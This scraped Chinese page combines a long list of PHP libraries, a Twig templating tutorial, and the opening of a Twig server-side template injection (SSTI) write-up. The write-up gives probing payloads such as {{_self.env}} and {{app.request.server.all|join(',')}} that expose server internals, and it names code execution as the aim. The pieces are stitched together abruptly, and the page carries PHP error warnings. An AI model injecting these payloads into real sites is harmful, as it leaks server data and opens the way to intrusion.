Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
習PHP的都想剖開框架了解下底層原理,一個PHP資源列表,內容包括:庫、框架、模板、安全、代碼分析、日志、第三方庫、配置工具、Web 工具、書籍、電子書、經典博文等等。
依賴和包管理庫
Composer/Packagist - 一個包和依賴管理器
Composer Installers - 一個多框架Composer庫安裝器
Pickle - 一個PHP擴展安裝器
Melody - 一個用于構建Composer腳本文件的工具
Climb - 一個Composer版本管理工具
其他的相關依賴管理
Satis - 一個靜態Composer存儲庫的生成器
Toran Proxy - 一個靜態Composer存儲庫和代理
Composition - 一個在運行時檢查Composer環境的庫
NameSpacer - 一個轉化下劃線到命名空間的庫
Patch Installer - 一個使用Composer安裝補丁的庫
Composer Checker - 一個校驗Composer配置的工具
Prestissimo - 一個開啟并行安裝進程的Composer插件
Composer Merge Plugin - 一個用于合并多個composer.json文件的Composer插件
Web開發框架
Symfony 2 - 一個獨立組件組成的框架 (SF2)
Zend Framework 2 - 另一個由獨立組件組成的框架 (ZF2)
Laravel 5 - 另一個PHP框架 (L5)
Aura PHP - 一個獨立的組件框架
Yii2 - 另一個PHP框架
Nette - 另一個由個體組件組成的框架
PPI Framework 2 - 一個互操作性框架
CakePHP - 一個快速應用程序開發框架 (CP)
Phalcon - 通過C擴展實現的框架
其他Web開發框架
Symfony CMF - 一個創建自定義CMS的內容管理框架
Knp RAD Bundle - Symfony 2的快速應用程序(RAD)包
CakePHP CRUD - CakePHP的快速應用程序(RAD)插件
來自web開發框架的獨立組件
Symfony2 Components - Symfony 2組件
Zend Framework 2 Components - Zend Framework 2組件
Aura Components - PHP5.4組件包
CakePHP Plugins - CakePHP插件的目錄
Hoa Project - 另一個PHP組件包
League of Extraordinary Packages - 一個PHP軟件開發組
加載配置文件的庫
Zend-config - Zend框架的配置組件
微型框架和路由
Silex - 基于Symfony2組件的微型框架
Slim - 另一個簡單的微型框架
Bullet PHP - 用于構建REST APIs的微型框架
Lumen - 一個Laravel的微型框架
Proton - 一個StackPHP兼容的微型框架
其他相關的微型框架和路由
Silex Skeleton - Silex的項目架構
Silex Web Profiler - 一個Silex web的調試工具
Slim Skeleton - Slim架構
Slim View - Slim自定義視圖的集合
處理應用路由的庫
Fast Route - 一個快速路由的庫
Route - 一個基于Fast Route的路由的庫
Pux - 另一個快速路由的庫
Klein - 一個靈活的路由的庫.
模板化和詞法分析的庫和工具
Twig - 一個全面的模板語言
Twig Cache Extension - 一個用于Twig的模板片段緩存庫
Mustache - 一個Mustache模板語言的PHP實現
Phly Mustache - 另一個Mustache模板語言的PHP實現
MtHaml - 一個HAML模板語言的PHP實現
PHPTAL - 一個TAL模板語言的PHP實現
Plates - 一個原生PHP模板庫
Lex - 一個輕量級模板解析器
用來生成web頁面的預處理內容的工具
Sculpin - 轉換Markdown和Twig為靜態HTML的工具
Phrozn - 另一個轉換Textile,Markdown和Twig為HTML的工具
Spress - 一個能夠將Markdown和Twig轉化為HTML的可擴展工具
Couscous - 一個將Markdown轉化為漂亮的網站的工具
用于HTTP和網站爬取的庫
Guzzle - 一個全面的HTTP客戶端
Buzz - 另一個HTTP客戶端
Requests - 一個簡單的HTTP庫
HTTPFul - 一個鏈式HTTP庫
Goutte - 一個簡單的web爬取器
PHP VCR - 一個錄制和重放HTTP請求的庫
使用中間件構建應用程序的庫
Stack - 一個用于Silex/Symfony的可堆疊的中間件的庫
Slim Middleware - 一個用于Slim的自定義的中間件的集合
Conduit - Sencha Connect連接到PHP的一個端口.
解析URL的庫
Purl - 一個URL處理庫
Uri - 另一個URL處理庫
PHP Domain Parser - 一個本地前綴解析庫
發送和解析郵件的庫
SwiftMailer - 一個郵件解決方案
PHPMailer - 另一個郵件解決方案
Fetch - 一個IMAP庫
Email Reply Parser - 一個郵件回復解析的庫
Stampie - 一個郵件服務庫,類似于SendGrid,PostMark,MailGun和Mandrill.
CssToInlineStyles - 一個在郵件模板中的內聯CSS庫
Email Validator - 一個較小的電子郵件驗證庫
Mautic - 郵件營銷自動化
文件處理和MIME類型檢測的庫
Gaufrette - 一個文件系統抽象層
Flysystem - 另一個文件系統抽象層
Canal - 一個檢測互聯網媒體類型的庫
Apache MIME Types - 一個解析Apache MIME類型的庫
Ferret - 一個MIME檢測庫
Hoa Mime - 另一個MIME檢測庫
Lurker - 一個資源跟蹤庫
PHP FFmpeg - 一個用于FFmpeg視頻包裝的庫
CSV - 一個CSV數據處理庫
處理流的庫
Streamer - 一個簡單的面向對象的流包裝庫
實現依賴注入設計模式的庫
Pimple - 一個小的依賴注入容器
Auryn - 一個遞歸的依賴注入容器
Container - 另一個可伸縮的依賴注入容器
PHP-DI - 一個支持自動裝配和PHP配置的依賴注入容器
Acclimate - 一個依賴注入容器和服務定位的通用接口
Symfony DI - 一個依賴注入容器組件 (SF2)
處理圖像的庫
Imagine - 一個圖像處理庫
PHP Image Workshop - 另一個圖像處理庫
Intervention Image - 另一個圖像處理庫
GIF Frame Extractor - 一個提取GIF動畫幀信息的庫
GIF Creator - 一個通過多張圖片創建GIF動畫的庫
Image With Text - 一個在圖像中嵌入文本的庫
Color Extractor - 一個從圖像中提取顏色的庫
Glide - 一個按需處理圖像的庫
Image Optimizer - 一個優化圖像的庫
Image Hash - 一個用于生成圖像哈希感知的庫
測試代碼和生成測試數據的庫
PHPUnit - 一個單元測試框架
DBUnit - 一個PHPUnit的數據庫測試庫
ParaTest - 一個PHPUnit的并行測試庫
PHPSpec - 一個基于功能點設計的單元測試庫
Codeception - 一個全棧測試框架
AspectMock - 一個PHPUnit/Codeception的模擬框架。
Atoum - 一個簡單的測試庫
Mockery - 一個用于測試的模擬對象的庫
Phake - 另一個用于測試的模擬對象的庫
Prophecy - 一個可選度很高的模擬框架
Faker - 一個偽數據生成庫
Samsui - 另一個偽數據生成庫
Alice - 富有表現力的一代庫
Behat - 一個行為驅動開發(BDD)測試框架
Pho - 另一個行為驅動開發測試框架
Mink - Web驗收測試
HTTP Mock - 一個在單元測試模擬HTTP請求的庫
VFS Stream - 一個用于測試的虛擬文件系統流的包裝器
VFS - 另一個用于測試虛擬的文件系統
Locust - 一個用Python編寫的現代加載測試庫
Peridot - 一個事件驅動開發的測試框架
Kahlan - 全棧Unit/BDD測試框架,內置stub,mock和代碼覆蓋率的支持
持續集成的庫和應用
Travis CI - 一個持續集成平臺
SemaphoreCI - 一個開放源碼和私人項目的持續集成平臺
PHPCI - 一個PHP的開源的持續集成平臺
Sismo - 一個持續測試的服務庫
Jenkins - 一個PHP支持的持續集成平臺
JoliCi - 一個用PHP編寫的由Docker支持的持續集成的客戶端
生成項目文檔的庫
Sami - 一個API文檔生成器
APIGen - 另一個API文檔生成器
PHP Documentor 2 - 一個API文檔生成器
phpDox - 一個PHP項目的文檔生成器(不限于API文檔)
daux.io - 一個使用Markdown文件的文檔生成器
生成安全的隨機數,加密數據,掃描漏洞的庫
HTML Purifier - 一個兼容標準的HTML過濾器
RandomLib - 一個生成隨機數和字符串的庫
True Random - 使用www.random.org生成隨機數的庫
SecurityMultiTool - 一個PHP安全庫
PHPSecLib - 一個純PHP安全通信庫
TCrypto - 一個簡單的鍵值加密存儲庫
PHP IDS - 一個結構化的PHP安全層
PHP SSH - 一個試驗的面向對象的SSH包裝庫
IniScan - 一個掃描PHP INI文件安全的庫
SensioLabs Security Check - 一個為檢查Composer依賴提供安全建議的web工具
Zed - 一個集成的web應用滲透測試工具
VAddy - 一個持續安全的web應用測試平臺
Optimus - 基于Knuth乘法散列方法的身份混淆工具
處理和存儲密碼的庫和工具
Password Compat - 一個新的PHP5.5密碼函數的兼容庫
phpass - 一個便攜式的密碼哈??蚣?/span>
PHP Password Lib - 一個生成和校驗密碼的庫
Password Policy - 一個PHP和JavaScript的密碼策略庫
Password Validator - 一個校驗和升級密碼哈希的庫
Zxcvbn PHP - 一個基于Zxcvbn JS的現實的PHP密碼強度估計庫
GenPhrase - 一個隨機生成安全密碼哈希的庫
分析,解析和處理代碼庫的庫和工具
PHP Parser - 一個PHP編寫的PHP解析器
PHPPHP - 一個PHP實現的PHP虛擬機
PHPSandbox - 一個PHP沙盒環境
Dissect - 一個詞法和語法分析的工具集合
PHP Mess Detector - 一個掃描代碼缺陷,次優代碼,未使用的參數等等的庫。
PHP Code Sniffer - 一個檢測PHP、CSS和JS代碼標準沖突的庫
PHPCPD - 一個檢測復制和粘貼代碼的庫
PHP Analyser - 一個分析PHP代碼查找缺陷和錯誤的庫
PHP CS Fixer - 一個編碼標準庫
PHP Manipulator - 一個分析和修改PHP源代碼的庫
PHP Metrics - 一個靜態測量庫
PHP Refactoring Browser - 一個重構PHP代碼的命令行工具集
PHP Semantic Versioning Checker - 一個比較兩個源集和確定適當的應用語義版本的命令行實用程序
UBench - 一個簡單的微型基準檢測庫
Athletic - 一個基于注釋的基準檢測庫
Mondrian - 使用圖論的代碼分析工具
Scrutinizer - 一個審查PHP代碼的web工具
PHPLOC - 一個快速測量PHP項目大小的工具
PHPCheckstyle - 一個幫助遵守特定的編碼慣例的工具
PhpDependencyAnalysis - 一個創建可定制依賴圖的工具
Code Climate - 一個自動代碼審查工具
相關的設計模式庫,組織代碼編程的方法和途徑
PHP Option - 一個可選的類型庫
Ruler - 一個簡單的無狀態的生產環境規則引擎
Finite - 一個簡單的PHP有限狀態機
Compose - 一個功能組合庫
Monad PHP - 一個簡單Monad庫
Patchwork - 一個重新定義用戶的函數庫
Galapagos - 語言轉換進化
Design Patterns PHP - 一個使用PHP實現的設計模式存儲庫
Functional PHP - 一個函數式編程庫
Iter - 一個使用生成器提供迭代原語的庫
Pipeline - 一個管道模式的實現
調試和分析代碼的庫和工具
xDebug - 一個調試和分析PHP的工具
PHP Debug Bar - 一個調試工具欄
PHP Console - 一個web調試控制臺
Barbushin PHP Console - 另一個使用Google Chrome的web調試控制臺
PHPDBG - 一個交互的PHP調試器
Tracy - A一個簡單的錯誤檢測,寫日志和時間測量庫
Z-Ray - 一個調試和配置Zend服務器的工具
xHprof - 另一個PHP分析工具
Blackfire.io - 一個低開銷的代碼分析器
Kint - 一個調試和分析工具
PHPBench - 一個基準測試框架
項目構建和自動化工具
Bob - 一個簡單的項目自動化工具
Phake - 一個PHP克隆庫
Box - 一個構建PHAR文件的工具
Phing - 一個靈感來自于Apache Ant的PHP項目構建系統
自動運行任務的庫
Task - 一個靈感來源于Grunt和Gulp的純PHP任務運行器
Robo - 一個面向對象配置的PHP任務運行器
Bldr - 一個構建在Symfony組件上的PHP任務運行器
構建導航結構的工具
KnpMenu - 一個菜單庫
Cartographer - 一個站點地圖生成庫
管理,壓縮和最小化web站點資源的工具
Assetic - 一個資源管理的管道庫
Pipe - 另一個資源管理的管道庫
Munee - 一個資源優化庫
JShrink - 一個JavaScript的最小化庫
Puli - 一個檢測資源絕對路徑的庫
地理編碼地址和使用緯度經度的庫
GeoCoder - 一個地理編碼庫
GeoTools - 一個地理工具相關的庫
PHPGeo - 一個簡單的地理庫
GeoJSON - 一個GeoJSON的實現
處理日期和時間的庫
Carbon - 一個簡單的日期時間API擴展
ExpressiveDate - 另一個日期時間API擴展
CalendR - 一個日歷管理庫
時間驅動或實現非阻塞事件循環的庫
React - 一個事件驅動的非阻塞I/O庫.
Rx.PHP - 一個reactive擴展庫
Ratchet - 一個web socket庫
Hoa WebSocket - 另一個web socket庫
Hoa EventSource - 一個事件源庫
Evenement - 一個事件調度的庫
Event - 一個專注于域名事件的庫
Cake Event - 一個事件調度的庫 (CP)
Broadway - 一個事件源和CQRS(命令查詢責任分離)庫
生成和處理日志文件的庫
Monolog - 一個全面的日志工具
KLogger - 一個易用的兼容PSR-3的日志類
Analog - 一個基于閉包的微型日志包
處理支付和構建在線電子商務商店的庫和應用
OmniPay - 一個框架混合了多網關支付處理的庫
Payum - 一個支付抽象庫
Sylius - 一個開源的電子商務解決方案
Thelia - 另一個開源的電子商務解決方案
Money - 一個Fowler金錢模式的PHP實現
Sebastian Money - 另一個處理貨幣值的庫
Swap - 一個匯率庫
處理PDF文件的庫和軟件
Snappy - 一個PDF和圖像生成器庫
WKHTMLToPDF - 一個將HTML轉換為PDF的工具
PHPPdf - 一個將XML文件轉換為PDF和圖片的庫
Dompdf - 一個將HTML轉換為PDF的工具
Libraries for working with office suite documents.
PHPWord - 一個處理Word文檔的庫
PHPExcel - 一個處理Excel文檔的庫
PHPPowerPoint - 一個處理PPT文檔的庫
ExcelAnt - 一個操作Excel文檔的庫
使用對象關系映射(ORM)或數據映射技術的數據庫交互的庫
Doctrine - 一個全面的DBAL和ORM
Doctrine Extensions - 一個Doctrine行為擴展的集合
Propel - 一個快速的ORM,遷移庫和查詢構架器
Eloquent - 一個簡單的ORM(L5)
LazyRecord - 一個簡單、可擴展、高性能的ORM
Baum - 一個Eloquent的嵌套集實現
Spot2 - 一個MySQL的ORM映射器
RedBean - 一個輕量級,低配置的ORM
Pomm - 一個PostgreSQL對象模型管理器
ProxyManager - 一個為數據映射生成代理對象的工具集
Cake ORM - 對象關系映射工具,利用DataMapper模式實現 (CP)
幫助管理數據庫模式和遷移的庫
PHPMig - 另一個遷移管理庫
Phinx - 另一個數據庫遷移的管理庫
Migrations - 一個遷移管理庫
Doctrine Migrations - 一個Doctrine的遷移庫
Ruckusing - 基于PHP下ActiveRecord的數據庫遷移,支持MySQL, Postgres, SQLite
處理NoSQL后端的庫
MongoQB - 一個MongoDB查詢構建庫
Monga - 一個MongoDB抽象庫
Predis - 一個功能完整的Redis庫
處理事件和任務隊列的庫
Pheanstalk - 一個Beanstalkd客戶端庫
PHP AMQP - 一個純PHP AMQP庫
Thumper - 一個RabbitMQ模式庫
Bernard - 一個多后端抽象庫
在數據上索引和執行查詢的庫和軟件
ElasticSearch PHP - ElasticSearch的官方客戶端庫
Elastica - ElasticSearch的客戶端庫
Solarium - Solr的客戶端庫
SphinxQL query builder - Sphinx搜索引擎的的查詢庫
關于命令行工具的庫
Boris - 一個微型PHP REPL
PsySH - 另一個PHP REPL
Pecan - 一個事件驅動和非阻塞的shell
GetOpt - 一個命令行選擇解析器
OptParse - 另一個命令行選擇解析器
Commando - 另一個簡單的命令行選擇解析器
GetOptionKit - 另一個命令行選擇解析器
Cron Expression - 一個計算cron運行日期的庫
ShellWrap - -一個簡單的命令行包裝庫
Hoa Console - 另一個命令行庫
Shunt - 一個在多臺遠程機器上并行運行命令行的庫
Cilex - 一個構建命令行工具的微型框架
CLImate - 一個輸出帶顏色的和特殊格式的命令行庫
CLI Menu - 一個構建CLI菜單的庫
CLIFramework - 一個支持完全zsh/bash、子命令和選項約束的命令行框架,這也歸功于phpbrew
實現身份驗證和授權的庫
Sentinel - 一個混合的身份驗證和授權的框架庫
Sentinel Social - 一個社交網絡身份驗證庫
Opauth - 一個多渠道的身份驗證框架
OAuth2 Server - 一個OAuth2身份驗證服務,資源服務器和客戶端庫
OAuth2 Server - 另一個OAuth2服務器實現
PHP oAuthLib - 另一個OAuth庫
TwitterOAuth - 一個Twitter OAuth庫
TwitterSDK - 一個完全測試的Twitter SDK
Hawk - 一個Hawk HTTP身份認證庫
HybridAuth - 一個開源的社交登陸庫
Lock - 一種實現訪問控制列表(ACL)系統的庫
OAuth 1.0 Client - 一個OAuth 1.0客戶端的庫
OAuth 2.0 Client - 一個OAuth 2.0客戶端的庫
處理標記的庫
Decoda - 一個輕量級標記解析庫
PHP Markdown - 一個Markdown解析器
CommonMark PHP - 一個對CommonMark spec全支持的Markdown解析器
Parsedown - 另一個Markdown解析器
Ciconia - 另一個支持Github Markdown風格的Markdown解析器
Cebe Markdown - 一個快速的可擴展的Markdown解析器
HTML to Markdown - 將HTML轉化為Markdown
HTML5 PHP - 一個HTML5解析和序列化庫
Emoji - 一個把Unicode字符和名稱轉換為表情符號圖片的庫
解析和處理字符串的庫
ANSI to HTML5 - 一個將ANSI轉化為HTML5的庫
Patchwork UTF-8 - 一個處理UTF-8字符串的便攜庫
Hoa String - 另一個UTF-8字符串庫
Stringy - 一個多字節支持的字符串處理庫
Color Jizz - 處理和轉換顏色的庫
UUID - 生成UUIDs的庫
Slugify - 轉換字符串到slug的庫
URLify - 一個Django中URLify.js的PHP版本
Text - 一個文本處理庫
SQL Formatter - 一個格式化SQL語句的庫
UA Parser - 一個解析user agent字符串的庫
Device Detector - 另一個解析user agent字符串的庫
Mobile-Detect - 一個用于檢測移動設備的輕量級PHP類(包括平板電腦)
Agent - 一個基于Mobiledetect的桌面/手機端user agent解析庫
處理數字的庫
Numbers PHP - 一個處理數字的庫
Math - 一個處理巨大數字的庫
ByteUnits - 一個在二進制和度量系統中解析,格式化和轉換字節單元的庫
PHP Units of Measure - 一個計量單位轉換的庫
PHP Conversion -另一個計量單位轉換的庫
LibPhoneNumber for PHP - 一個Google電話號碼處理的PHP實現庫
過濾和驗證數據的庫
Filterus - 一個簡單的PHP過濾庫
Respect Validation - 一個簡單的驗證庫
Valitron - 另一個驗證庫
Cake Validation - 另一個驗證庫 (CP)
Upload - 一個處理文件上傳和驗證的庫
DMS Filter - 一個注釋過濾庫
MetaYaml - 一個支持YAML,JSON和XML的模式驗證庫
ISO-codes - 一個驗證各種ISO和ZIP編碼的庫(IBAN, SWIFT/BIC, BBAN, VAT, SSN, UKNIN)
開發REST-ful API的庫和web工具
Apigility - 一個使用Zend Framework 2構建的API構建器
Hateoas - 一個HOATEOAS REST web服務庫
HAL - 一個超文本應用語言(HAL)構建庫
Negotiation - 一個內容協商庫
Drest - 一個將Doctrine實體暴露為REST資源節點的庫
Restler - 一個將PHP方法暴露為RESTful web API的輕量級框架
wsdl2phpgenerator - 一個從SOAP WSDL文件生成PHP類的工具
緩存數據的庫
Alternative PHP Cache (APC) - 打開PHP操作碼緩存
Doctrine Cache - 一個緩存庫
Zend Cache - 另一個緩存庫 (ZF2)
Cake Cache - 一個緩存庫 (CP)
Stash - 另一個緩存庫
CacheTool - 一個使用命令行清除apc/opcode緩存的工具
phpRedisAdmin - 一個用于管理Redis數據庫的簡單web界面
phpPgAdmin - 一個PostgreSQL的web管理工具
phpMyAdmin - 一個MySQL/MariaDB的web界面
Adminer - 一個數據庫管理工具
Grav - 一個現代的flat-file的CMS
實現數據結構和存儲技術的庫
Ardent - 一個數據結構庫
PHP Collections - 一個簡單的集合庫
Collections - 一個PHP的集合抽象庫
Serializer - 一個序列化和反序列化數據的庫
Zend Serializer - 另一個序列化和反序列化數據的庫 (ZF2)
Fractal - 一個轉換復雜數據結構到JSON輸出的庫
Totem - -一個管理和創建數據交換集的庫
PINQ - 一個基于.NET實現的PHP的LINQ(Language Integrated Query)庫
YaLinqo - 另一個PHP的LINQ庫
Ginq - 另一個基于.NET實現的PHP的LINQ庫
JsonMapper - 一個將內嵌JSON結構映射為PHP類的庫
Cake Collection - 一個簡單的集合庫 (CP)
處理通知軟件的庫
Nod - 一個通知庫(Growl等)
Notificato - 一個處理推送通知的庫
Notification Pusher - 一個設備推送通知的獨立庫
Notificator - 一個輕量級的通知庫
項目部署庫
Pomander - 一個PHP應用部署工具
Rocketeer - PHP世界里的一個快速簡單的部署器
Envoy - 一個用PHP運行SSH任務的工具
Plum - 一個部署庫
Deployer - 一個部署工具
國際化(I18n)和本地化(L10n)的庫
Aura Intl
Cake I18n - 消息國際化和日期和數字的本地化 (CP)
訪問第三方API的庫
Amazon Web Service SDK - PHP AWS SDK官方庫
S3 Stream Wrapper - Amazon S3流包裝庫
Stripe - Stripe官方PHP庫
Campaign Monitor - Campaign Monitor官方PHP庫
Digital Ocean - Digital Ocean API接口庫
Github - 一個Github API交互庫
PHP Github API - 另一個Github API交互庫
Twitter OAuth - 一個Twitter OAuth工作流交互庫
Twitter REST - 一個Twitter REST API交互庫
Dropbox SDK - Dropbox SDK官方PHP庫
Twilio - Twilio官方PHP REST API
Mailgun - Mailgun官方PHP REST API
幫助構建PHP擴展的庫
Zephir - 用于開發PHP擴展,且介于PHP和C++之間的編譯語言
PHP CPP - 一個開發PHP擴展的C++庫
不在上面分類中的有用庫和工具
Spork - 一個處理forking的庫
JSON Lint - 一個JSON lint工具
JSONPCallbackValidator - 驗證JSONP回調的庫
Pagerfanta - 一個分頁庫
LiteCQRS - 一個CQRS(命令查詢責任分離)庫
Chief - 一個命令總線庫
Sslurp - 一個使得SSL處理減少的庫
Metrics - 一個簡單的度量API庫
Sabre VObject - 一個解析VCard和iCalendar對象的庫
Annotations - 一個注釋庫(Doctrine的一部分)
Whoops - 一個不錯的錯誤處理庫
LadyBug - 一個dumper庫
Symfony VarDumper - 一個dumper庫(SF2)
Procrastinator - 一個運行耗時任務的庫
SuperClosure - 一個允許閉包序列化的庫
Jumper - 一個遠程服務執行庫
Underscore - 一個Undersccore JS庫的PHP實現
PHP PassBook - 一個iOS PassBook PHP庫
PHP Expression - 一個PHP表達式語言
RMT - 一個編寫版本和發布軟件的庫
Opengraph - 一個開放圖庫
Essence -一個提取web媒體的庫
Embera - 一個Oembed消費庫
Graphviz - 一個圖形庫
Flux - 一個正則表達式構建庫
PHPCR - 一個Java內容存儲庫(JCR)的PHP實現
ClassPreloader - 一個優化自動加載的庫
PHPStack - 一個PHP編寫的TCP/IP棧概念
Nmap - 一個Nmap PHP包裝器
Lambda PHP - 一個PHP中的Lambda計算解析器
Country List - 所有帶有名稱和ISO 3166-1編碼的國家列表
PHP-GPIO - 一個用于Raspberry PI的GPIO pin的庫
print_o - 一個對象圖的可視化器
Alias - 一個類別名庫
Cake Utility - 工具類如Inflector,字符串,哈希,安全和XML (CP)
Slimdump - 一個簡單的MySQL dumper工具
創建一個開發環境的軟件
在你的電腦上幫助安裝和管理PHP的工具
HomeBrew - 一個OSX包管理器
HomeBrew PHP - 一個HomeBrew的PHP通道
PHP OSX - 一個OSX下的PHP安裝器
PHP Brew - 一個PHP版本管理和安裝器
PHP Env - 另一個PHP版本管理器
PHP Switch - 另一個PHP版本管理器
PHP Build - 另一個PHP版本安裝器
VirtPHP - 一個創建和管理獨立PHP環境的工具
創建沙盒開發環境的軟件和工具
Vagrant - 一個便攜的開發環境工具
Ansible - 一個非常簡單的編制框架
Puppet - 一個服務器自動化框架和應用
PuPHPet - 一個構建PHP開發虛擬機的web工具
Protobox - 另一個構建PHP開發虛擬機的web工具
Phansible - 一個用Ansible構建PHP開發虛擬機的web工具
相關的PHP虛擬機
HHVM - Facebook出品的PHP虛擬機,Runtime和JIT
HippyVM - 另一個PHP虛擬機
Hack - 一個PHP進行無縫操作的HHVM編程語言
支持PHP的集成開發環境
Netbeans - 一個支持PHP和HTML5的IDE
Eclipse for PHP Developers - 一個基于Eclipse平臺的PHP IDE
PhpStorm - 一個商業PHP IDE
基于Web的應用和工具
3V4L - 一個在線的PHP和HHVM shell
DBV - 一個數據庫版本控制應用
PHP Queue - A一個管理后端隊列的應用
MailCatcher - 一個抓取和查看郵件的web工具
Cachet - 開源狀態頁面系統
提供PHP應用和服務的基礎架構
appserver.io - 一個用PHP寫的多線程的PHP應用服務器
wig
模板引擎(Web開發的模板引擎)是為了用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式文檔,用于網站的模板引擎就會生成一個標準的HTML文檔,其本質就是根據一定的規則進行變量替換。模板引擎可以解耦前后端,提高開發效率。
Twig是一款靈活、快速、安全的PHP模板引擎,類似于其他的模板引擎, 如Smarty、Django、Jinja等。每種模板引擎的實現本質是相同的——就是變量替換。
目前而言,安裝應該都是composer工具安裝。
composer require "twig/twig:~2.0" require_once '/path/to/vendor/autoload.php'; $loader=new \Twig\Loader\ArrayLoader([ 'index'=> 'Hello {{ name }}!', ]); $twig=new \Twig\Environment($loader); echo $twig->render('index', ['name'=> 'Fabien']);
# 輸出變量 {{ foo }} # 判斷 {% if foo %} {{ foo }} {% endif %} # for (foo array) {% for x in foo %} {{ x }} {% endfor %} # 格式化(foo array) {{ foo | json_encode }} # 運算 {{ foo ? true : false }} {{ foo + 2 }} # html 擴展 {% extends "base.html" %} {% block title %}Index{% endblock %} {% block head %} {{ parent() }} <style type="text/css"> .important { color: #336699; } </style> {% endblock %} {% block content %} <h1>Index</h1> <p class="important"> Welcome to my awesome homepage. </p> {% endblock %}
更多用法請參考官方文檔。
1 目前流行的MVC模式框架的渲染模板
2 發送郵件的內容渲染模板
針對第二種使用場景,這里給出業務實際應用場景,現在有線上預警實時,在發送異常時要發送報告郵件,且郵件格式要使用表格,并具備一定的美觀性,這時就可以在發送郵件時,使用twig處理一下,然后再把處理后的內容發送郵件即可,偽代碼如下:
# 1 首先引入twig自動加載類,如果是composer安裝則不需要
require_once(BASE_DIR . '/deploy/framework/Twig/Autoloader.php');
# 2 獲取twig類,使用其render方法
<?php class Util { /** * @return \Twig_Environment */ public static function Twig() { $autoloader=new \Twig_Autoloader(); $autoloader->register(true); $twig=new \Twig_Environment(new \Twig_Loader_Filesystem(array( '__main__'=> app()->basePath() . '/views' ))); return $twig; } }
# 3 代碼中使用
$twig=Util::Twig(); $context=$twig->render('warning.html', array('foo'=> $foo)); # 4 warning.html代碼 <!DOCTYPE html> <html lang="zh-cn" style="margin: 0;padding:0;width:100%;"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>實時監控預警郵件</title> </head> <body> {{ foo }} </body> </html>
歡迎一起交流學習!
參考文檔
1 twig官方文檔,https://twig.symfony.com/doc/2.x/
2 smarty 模板引擎 https://www.smarty.net/files/docs/manual-en-2.6.pdf
3 https://blog.csdn.net/cjqh_hao/article/details/99172960
SSTI:開局一張圖,姿勢全靠y
SSTI,即服務器端模板注入(Server-Side Template Injection)
常見的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代碼注入,命令注入等等。sql注入已經出世很多年了,對于sql注入的概念和原理很多人應該是相當清楚了,SSTI也是注入類的漏洞,其成因其實是可以類比于sql注入的。
sql注入的成因是從用戶獲得一個輸入后,經過后端腳本語言進行數據庫查詢,這時我們就可以構造輸入語句來進行拼接,從而實現我們想要的sql語句
SSTI也是如此,不過SSTI是在服務端接收了輸入后,將其作為web應用模板內容的一部分,在進行目標編譯渲染的過程中,將惡意語句進行了拼接,因此可能造成敏感信息泄露、代碼執行、getshell等問題
在這我會簡單以常見的Twig模板引擎進行演示,有所遺漏錯誤,歡迎各位師傅們進行補充糾正
模板是一種提供給程序進行解析的一種語法,從初始數據到實際的視覺表達靠的就是這一項工作所實現的,且這種手段是同時存在于前后端的
常見的模板引擎有
1.php 常用的
Smarty
Smarty算是一種很老的PHP模板引擎了,非常的經典,使用的比較廣泛
Twig
Twig是來自于Symfony的模板引擎,它非常易于安裝和使用。它的操作有點像Mustache和liquid。
Blade
Blade 是 Laravel 提供的一個既簡單又強大的模板引擎。
和其他流行的 PHP 模板引擎不一樣,Blade 并不限制你在視圖中使用原生 PHP代碼。所有 Blade 視圖文件都將被編譯成原生的 PHP 代碼并緩存起來,除非它被修改,否則不會重新編譯,這就意味著 Blade基本上不會給你的應用增加任何額外負擔。
2.Java 常用的
JSP
這個引擎我想應該沒人不知道吧,這個應該也是我最初學習的一個模板引擎,非常的經典
FreeMarker
FreeMarker是一款模板引擎:即一種基于模板和要改變的數據,并用來生成輸出文本(HTML網頁、電子郵件、配置文件、源代碼等)的通用工具。它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。
Velocity
Velocity作為歷史悠久的模板引擎不單單可以替代JSP作為JavaWeb的服務端網頁模板引擎,而且可以作為普通文本的模板引擎來增強服務端程序文本處理能力。
3.Python 常用的
Jinja2
flask jinja2 一直是一起說的,使用非常的廣泛,是我學習的第一個模板引擎
django
django 應該使用的是專屬于自己的一個模板引擎,我這里姑且就叫他 django,我們都知道django 以快速開發著稱,有自己好用的ORM,他的很多東西都是耦合性非常高的,你使用別的就不能發揮出 django 的特性了
tornado
tornado 也有屬于自己的一套模板引擎,tornado 強調的是異步非阻塞高并發
形形色色的模板引擎為了達到渲染效果,總會對用戶輸入有所處理,這也就給攻擊者提供了道路,盡管模板引擎也會相應提供沙箱機制進行保護,但是也存在沙箱逃逸技術可以進行繞過
找到模板是什么模板引擎,是哪個版本的,然后設法利用模板的內置方法,進行rce、getshell
Twig 被許多開源項目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;許多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。
本地復現可以用composer搭建
{{_self}} #指向當前應用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
模板其實就是一個文本文件,它可以生成我們需要的任何基于文本的格式文件(html、xml、csv等)
它也沒有特別的拓展后綴名,.html、.xml、.twig都可
這里主要講一些我們在利用時會用到的基礎知識
應用程序將變量傳入模板中進行處理,變量可以包含你能訪問的屬性或元素。你可以使用 . 來訪問變量中的屬性(方法或 PHP 對象的屬性,或 PHP 數組單元),Twig還支持訪問PHP數組上的項的特定語法, foo['bar'] :
{{ foo.bar }}
{{ foo['bar'] }}
模板中始終提供以下變量:
可以為代碼塊內的變量賦值。賦值使用set標簽:
{% set foo='foo' %}
{% set foo=[1, 2] %}
{% set foo={'foo': 'bar'} %}
變量可以修改為 過濾器 . 過濾器與變量之間用管道符號隔開 (| ). 可以鏈接多個過濾器。一個過濾器的輸出應用于下一個過濾器。
下面的示例從 name 標題是:
{{ name|striptags|title }}
接受參數的篩選器在參數周圍有括號。此示例通過逗號連接列表中的元素:
{{ list|join }}
{{ list|join(', ') }}
?
// {{ ['a', 'b', 'c']|join }}
// Output: abc
?
